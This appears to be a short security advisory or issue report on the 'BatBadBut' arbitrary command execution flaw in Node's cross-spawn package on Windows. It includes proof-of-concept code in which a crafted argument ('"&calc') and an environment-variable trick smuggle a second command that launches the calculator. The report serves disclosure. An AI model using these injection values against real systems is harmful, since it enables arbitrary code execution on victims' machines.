Vulnerable to arbitrary command execution on Windows (BatBadBut)

[mohd-akram]

See https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/

Example:

rem test.cmd
echo %1

---

Arbitrary execution:

const spawn = require('cross-spawn');
// Launches calculator
spawn.sync('test.cmd', ['"&calc']);

---

Variable expansion:

// test.js
const spawn = require('cross-spawn');
// Launches calculator
spawn.sync('test.cmd', ['%path%']);

C:\> set path^^=^"^&calc
C:\> node test.js